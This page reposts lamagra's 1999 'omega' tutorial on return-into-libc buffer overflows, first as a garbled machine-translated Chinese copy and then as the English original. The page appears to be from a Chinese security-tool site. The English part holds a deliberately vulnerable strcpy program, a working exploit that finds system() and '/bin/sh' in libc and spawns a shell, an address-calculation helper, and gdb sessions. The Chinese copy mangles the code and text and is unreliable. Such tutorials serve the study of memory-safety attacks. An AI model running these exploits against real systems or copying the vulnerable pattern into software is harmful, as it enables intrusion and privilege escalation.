欧米茄.

txt.

释放双眼,带上耳机,听听看~!

omega.txt,关于利用缓冲区溢出的新方法的

教程(ret到libc中)。

,omega项目完成了由lamagra完成的+=+-+=+-++-+=+-+++-+=++-+=++-++=+-+++-+=由lamagra–[在我之前的论文中,我解释了为什么以及如何。有一些困难:o向system()调用发送参数。(我们使用另一个程序将垃圾链接到shell来解决这个问题。)–[检查程序流我们使用这个小示例程序来检查流。<++>omega/example.c void foo(char*bla){printf(“我通过了%p\n”,bla);}void main(){foo(“fubar”);}<-->我们编译并启动gdb。darkstar:~/omega$gcc example.c-o example darkstar:~/omega$gdb example GNU gdb 4.17版权所有1998 Free Software Foundation,Inc.gdb是自由软件,受GNU通用公共许可的保护,欢迎您在特定条件下更改和/或分发副本。键入“show copying”查看条件。GDB绝对没有保修。键入“显示保修”了解详细信息。这个GDB被配置为“i586 slackware linux”。。。(gdb)为函数main反汇编程序代码主转储:0x8048594 :pushl%ebp 0x8048595:movl%esp、%ebp 0x8048597:pushl$0x8049099 0x804859c:调用0x804857c0x80485a1:addl$0x4、%esp 0x80485a4:movl%ebp,%esp 0x80485a6:popl%ebp 0x80485a7:重新结束汇编程序转储。(gdb)x/5bc 0x8049099 0x8049099<}fini+25>:102’f’117’u’98’b’97’a’114’r’(gdb)为函数foo反汇编程序代码的foo Dump:0x804857c:pushl%ebp 0x804857d:movl%esp、%ebp 0x804857f:movl 0x8(%ebp),%eax 0x8048582:pushl%eax 0x8048583:pushl$0x8049088 0x8048588:调用0x80484000x804858d:addl$0x8、%esp 0x8048590:movl%ebp、%esp 0x8048592:popl%ebp 0x8048593:重新结束汇编器转储。(gdb)退出darkstar:~/omega$我们注意到“fubar”字符串的地址被推到堆栈上,地址为0x8048597。之后调用foo函数(0x804859c)。初始化后foo()将推送的地址加载到eax寄存器中,如我们在0x804857f中看到的那样。该地址位于0x8(%ebp)上,ebp是当前堆栈指针。—[实现时考虑到前面的问题,我们编写了一个小测试程序。(“shell=x%x\n”,shell);*(长*)&bla[0]=addy;/*缓冲区*/*(long*)&bla[4]=addy;/*缓冲区*/*(long*)&bla[8]=addy;/*保存的ebp*/*(long*)&bla[12]=&foo;/*保存的eip*/*(long*)&bla[16]=addy;/*垃圾邮件*/*(long*)&bla[20]=shell;/*arg*/}<-->注释解释得非常清楚,请阅读它们。然后编译并运行。darkstar:~/omega$gcc test.c-otest darkstar:~/omega$test foo=0x804857c bla=0xbfffb08 shell=0x8049111 foo:0x8049111 foo:/bin/sh分段错误darkstar:~/omega$调用foo函数并正确放置其参数。但在执行之后,让我们调试它并找出原因。暗星:~/omega$gdb test GNU gdb 4.17版权所有1998 Free Software Foundation,Inc.gdb是自由软件,受GNU通用公共许可证保护,欢迎您在特定条件下更改和/或分发其副本。键入“show copying”查看条件。GDB绝对没有保修。键入“显示保修”了解详细信息。这个GDB被配置为“i586 slackware linux”。。。(gdb)break*foo断点1在0x804857c(gdb)运行启动程序/tmp/omega/hello foo=0x804857c bla=0xbfffb10 shell=0x8049111断点1,0x804857c在foo中()(gdb)x/10wx 0xbfffb10 0xbfffb10:0x41414141 0x414141 0x0804857c 0xbfffb20:0x41414141 0x0804911 0xbfffb44 0x00000000 0xbfffb30:0x00000000 0x00000000(gdb)c继续。foo:0x8049111 foo:/bin/sh程序接收信号SIGSEGV,分段故障。0x41414141英寸??(gdb)info reg ebp ebp 0x414141 0x41414141(gdb)info reg esp 0xbfffb24 0xbfffb24(gdb)退出程序正在运行。退出吗?(y或n)y黑暗星:~/omega$缓冲区的哑巴“bla”非常清楚地表明了我们的意图。segfault发生是因为程序试图执行0x414141。地址是0xbfffb20。当从FoE()返回时,EBP和EIP从ESP指向的位置从堆栈中弹出。如果我们想纠正Sebug,我们可以把另一个地址放在那里(例如EXIT()),因此它有一个干净的出口。应用此修补程序修复它(patch test.c test.patch)。测试C .WED 10月6日18:49:1999 @ @,6+19,6@ @(长*)和BLa(*)/ *(长*)和BLA(8)=ADDR;/*保存EBP */*(long *)和BLA(12)=和FoO;/*保存EIP*/-*(long *)和BLA(16)=ADDR;/*Fux*/+*(long *)和BLA[16 ] =和退出;/*Ext()*/*(long *)和BLA[20 ]=shell;/*地址;<++>Ω/Test.Posiv.Po.c,10月6日18:49∶07 1999 +++对于多个参数,可以执行相同的操作。0x8(%ebp)=arg[1]0xc(%ebp)=arg[2]0x10(%ebp)=arg[3]等等。]=addr;/*保存的ebp*/*(long*)&bla[12]=&execl;=和退出;(**)/*(long *)和BLA(20)=shell;/*ARG(1)*/*(long *)和BLA(24)=shell;/*ARG[4] */*(long *)和BLA[28 ]=0x0;/*ARG[3 ] *//**执行Excel(“/bin /SH”,“/bin /SH”,0x0);*在错误退出(“/bin /sH”);我知道奇怪*/*/}< ->现在我们可以在安全环境中利用缓冲区溢出。/*保存EIP*/*(long *)和BLA(16)在野外呢?<++>omega/hole.c/**孔程序。*打印libc中system()的地址并溢出。*/#include#includemain(int argc,char**argv){char buf[8];long addr;void*handle;handle=dlopen(NULL,RTLD}u LAZY);addr=(long)dlsym(handle,“system”);printf(“system()位于x%x\n”,addr);if(argc>1)strcpy(buf,argv[1]);}<><++>omega/exploit.c/**利用漏洞*可在libc中找到system()的地址。*在system()附近搜索“/bin/sh”。*(String()使用该字符串)* Lamagra < LAMARARU[UGLYPYGIG.ORG**/]包含STDLIB。h >包括:DLFCCN.H>主(int ARCC,CHAR**ARGV){INTX,大小;CHAR*BUF;长ADDR,shell,EXITEDY;空隙*句柄;如果(ARCC)!3){PrtTf(“使用%s Bufsize>程序>\n”,ARGV(0));退出(-1);} size=ATOI(ARGV(1))+16;如果((BUF=Maloc(size))=null){PrRor(“不能分配内存”);退出(-1);}句柄=DLOPEN(NULL,RTLD-懒);ADDR=(long)dLySm(句柄,“Stand”);PrimTf(“Stand())为0x%x\n”,ADDR);=(addr&0xff)| |!(添加&0xff00)| |!(添加&0xff0000)| |!(addr&0xff000000){printf(“system()包含“0”,对不起!”)/SH“在0x%x\n,shell”;MyTube(Buf,0x41,Shell);*(long *)和Buf[siZE-16]=0xBFFFBBC;*(long *)和BUF[SiZ-12]=ADDR;*(long *)和BUF[SiZ-4]=shell;PoT(ARGV〔2〕,ARGV [ 2〕,BUF,0x0);} ->暗星:~/Omega $GCC(退出)(-1);} shell=ADDR;而(MEMCPMP((空虚*)shell,/bin /SH”,8)shell +++;PrtTf(\ \)/ binhole.c-ohole-ldl darkstar:~/omega$gcc omega.c-oomega-ldl darkstar:~/omega$omega 8 vun System()位于0x40043a18“/bin/sh”位于0x40089d26 print/bin/sh Executing System()位于0x40043a18 bash”;看起来它工作正常。但正如您可能已经注意到的那样,这个方法链接了一个额外的库。这就是为什么它不适用于没有链接库的程序:因为system()的位置不同。有其他方法可以获得正确的地址:o更改程序以让它打印出地址(或多或少相同)o从ELF头获取地址。(我认为这对剥离文件、解决方案重新编译不起作用)获取AtExt()的地址(总是可用的)并计算SoC()的地址。签出包含的程序,网络安全教程omega.txt,

Tutorial on a new way of exploiting buffer overflows (ret-into-libc).

, The OMEGA project finished
+=+-+=+-+=+-+=+-+=+-+=+-+=+-+=+-+=
By lamagra <lamagra@uglypig.org>

---[ Flashback

In my previous paper, i explained why and a little bit about how.
There were some difficulties:
o sending arguments to the system() call.
(we fixed this using an other program to link the garbage to a shell.)

---[ Examination of a program flow

We take this little example program to examine the flow.

<++> omega/example.c
void foo(char *bla)
{
printf("I got passed %p\n",bla);
}

void main()
{
foo("fubar");
}
<-->

We compile and fire up gdb.

darkstar:~/omega$ gcc example.c -o example
darkstar:~/omega$ gdb example

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048594 <main>: pushl %ebp
0x8048595 <main+1>: movl %esp,%ebp
0x8048597 <main+3>: pushl $0x8049099
0x804859c <main+8>: call 0x804857c <foo>
0x80485a1 <main+13>: addl $0x4,%esp
0x80485a4 <main+16>: movl %ebp,%esp
0x80485a6 <main+18>: popl %ebp
0x80485a7 <main+19>: ret
End of assembler dump.
(gdb) x/5bc 0x8049099
0x8049099 <_fini+25>: 102 'f' 117 'u' 98 'b' 97 'a' 114 'r'
(gdb) disassemble foo
Dump of assembler code for function foo:
0x804857c <foo>: pushl %ebp
0x804857d <foo+1>: movl %esp,%ebp
0x804857f <foo+3>: movl 0x8(%ebp),%eax
0x8048582 <foo+6>: pushl %eax
0x8048583 <foo+7>: pushl $0x8049088
0x8048588 <foo+12>: call 0x8048400 <printf>
0x804858d <foo+17>: addl $0x8,%esp
0x8048590 <foo+20>: movl %ebp,%esp
0x8048592 <foo+22>: popl %ebp
0x8048593 <foo+23>: ret
End of assembler dump.
(gdb) quit
darkstar:~/omega$

We notice the address of our "fubar" string getting pushed on the stack
at 0x8048597. After that the foo function is called (0x804859c).
After initialisation foo() loads the pushed address into the eax register
as we can see at 0x804857f. The address is located on 0x8(%ebp), ebp is
the current stack pointer.

---[ Implementation

With the previous in mind we write a small test program.

<++> omega/test.c
/*
* A small test program for project "omega"
* Lamagra <lamagra@uglypig.org>
*/

foo(char *bla)
{
printf("foo: %p\n",bla);
printf("foo: %s \n",bla);
}

main()
{
char bla[8];
char *shell = "/bin/sh";
long addy = 0x41414141;

printf("foo = 0x%x\n",(long)&foo);
printf("bla = 0x%x\n",(long)&bla);
printf("shell = 0x%x\n",shell);

*(long *)&bla[0] = addy; /* buffer */
*(long *)&bla[4] = addy; /* buffer */
*(long *)&bla[8] = addy; /* saved ebp */
*(long *)&bla[12] = &foo; /* saved eip */
*(long *)&bla[16] = addy; /* Junk */
*(long *)&bla[20] = shell; /* address of the arg */
}
<-->

The comment explain the use pretty clear, so read them.
Afterwards compile and run.

darkstar:~/omega$ gcc test.c -otest
darkstar:~/omega$ test
foo = 0x804857c
bla = 0xbffffb08
shell = 0x8049111
foo: 0x8049111
foo: /bin/sh
segmentation fault
darkstar:~/omega$

The foo function gets called and its argument is placed correctly.
But after execution it segfaults, let's debug it and find out why.

darkstar:~/omega$ gdb test

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"...
(gdb) break *foo
Breakpoint 1 at 0x804857c
(gdb) run
Starting program: /tmp/omega/hello
foo = 0x804857c
bla = 0xbffffb10
shell = 0x8049111

Breakpoint 1, 0x804857c in foo ()
(gdb) x/10wx 0xbffffb10
0xbffffb10: 0x41414141 0x41414141 0x41414141 0x0804857c
0xbffffb20: 0x41414141 0x08049111 0xbffffb44 0x00000000
0xbffffb30: 0x00000000 0x00000000
(gdb) c
Continuing.
foo: 0x8049111
foo: /bin/sh

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp
ebp 0x41414141 0x41414141
(gdb) info reg esp
esp 0xbffffb24 0xbffffb24
(gdb) quit
The program is running. Exit anyway? (y or n) y
darkstar:~/omega$

The dumb of buffer "bla" shows our intentions very clearly.
The segfault happens because the program tries to execute 0x41414141.
That address is at 0xbffffb20. When returning from foo() ebp and eip are
poped from the stack at the location pointed to by esp.
If we wanted to put right the segfault, we could put an other address in
there (eg. exit()), so it has a clean exit.

Apply this patch to fix it (patch test.c test.patch).

<++> omega/test.patch
--- old.c Wed Oct 6 18:49:07 1999
+++ test.c Wed Oct 6 18:49:25 1999
@@ -19,6 +19,6 @@
*(long *)&bla[4] = addr; /* buffer */
*(long *)&bla[8] = addr; /* saved ebp */
*(long *)&bla[12] = &foo; /* saved eip */
- *(long *)&bla[16] = addr; /* Junk */
+ *(long *)&bla[16] = &exit; /* exit() */
*(long *)&bla[20] = shell; /* address of the arg */
}
<-->

Same thing can be done for multiple arguments.
0x8(%ebp) = arg[1]
0xc(%ebp) = arg[2]
0x10(%ebp) = arg[3]
and so on.

<++> omega/multiple.c
#include <stdlib.h>
#include <unistd.h>

main()
{
char bla[8];
char *shell = "/bin/sh";
long addr = 0x41414141;

printf("bla = 0x%x\n",(long)&bla);
printf("shell = 0x%x\n",shell);

*(long *)&bla[0] = addr; /* buffer */
*(long *)&bla[4] = addr; /* buffer */
*(long *)&bla[8] = addr; /* saved ebp */
*(long *)&bla[12] = &execl; /* saved eip */
*(long *)&bla[16] = &exit; /* exit() */
*(long *)&bla[20] = shell; /* arg[1] */
*(long *)&bla[24] = shell; /* arg[2] */
*(long *)&bla[28] = 0x0; /* arg[3] */
/*
* Executes execl("/bin/sh","/bin/sh",0x0);
* On error exit("/bin/sh"); i know weird */
*/
}
<-->

Now we can exploit a bufferoverflow in a secure environement.
What about in the wild?

<++> omega/hole.c
/*
* The hole program.
* Prints the address of system() in libc and overflows.
*/
#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char **argv)
{
char buf[8];
long addr;
void *handle;

handle = dlopen(NULL,RTLD_LAZY);
addr = (long)dlsym(handle,"system");
printf("System() is at 0x%x\n",addr);

if(argc > 1) strcpy(buf, argv[1]);
}
<-->

<++> omega/exploit.c
/*
* The exploit
* Finds the address of system() in libc.
* Searches for "/bin/sh" in the neighbourhood of system().
* (System() uses that string)
* Lamagra <lamagra@uglypig.org>
*/

#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char **argv)
{
int x,size;
char *buf;
long addr,shell,exitaddy;
void *handle;

if(argc != 3){
printf("Usage %s <bufsize> <program>\n",argv[0]);
exit(-1);
}

size = atoi(argv[1])+16;
if((buf = malloc(size)) == NULL){
perror("can't allocate memory");
exit(-1);
}

handle = dlopen(NULL,RTLD_LAZY);
addr = (long)dlsym(handle,"system");
printf("System() is at 0x%x\n",addr);

if(!(addr & 0xff) || !(addr & 0xff00) ||
!(addr & 0xff0000) || !(addr & 0xff000000))
{
printf("system() contains a '0', sorry!");
exit(-1);
}

shell = addr;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;

printf("\"/bin/sh\" is at 0x%x\n",shell);
printf("print %s\n",shell);

memset(buf,0x41,size);
*(long *)&buf[size-16] = 0xbffffbbc;
*(long *)&buf[size-12] = addr;
*(long *)&buf[size-4] = shell;

puts("Executing");

execl(argv[2],argv[2],buf,0x0);
}
<-->

darkstar:~/omega$ gcc hole.c -ohole -ldl
darkstar:~/omega$ gcc omega.c -oomega -ldl
darkstar:~/omega$ omega 8 vun
System() is at 0x40043a18
"/bin/sh" is at 0x40089d26
print /bin/sh
Executing
System() is at 0x40043a18
bash#

Looks like it works.
But as you may have noticed an extra library is linked for this methode.
That's why it doesn't work on programs that don't have that library
linked: because the location of system() is different.

There are other methodes to get the correct address:

o Changing the program to let it print out the address (more or
less the same)

o Getting the address from the ELF-headers. ( I think this doesn't
work on stripped files, solution recompile)

o getting the address of atexit() (always available) and calculate
the address of system(). Check out included program.

---[ Extra

<++> omega/calc.c
#include <stdlib.h>
#include <unistd.h>

main(int argc, char **argv)
{
long addy,diff;

if (argc != 2)
{
printf("Usage: %s <addy of atexit>\n",argv[0]);
printf("Get the address with GDB\n\t$ echo x atexit|gdb program\n");
exit(-1);
}

addy = strtoul(argv[1],0,0);
printf("Input = 0x%x\n",addy);

diff = (long)&atexit - (long)&system;
printf("system() = 0x%x\n",addy - diff + 16);
}
<-->
---[ Reference

my previous paper in corezine #2 (http://bounce.to/unah16)

---[EOF

人已赞赏
安全工具

<p>SANS99wedUPDATE.PPT.</p>

2020-2-6 3:27:04

安全工具

<p>EasyTcpIp-lib-0.2.tar.gz.</p>

2020-2-6 3:27:06

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索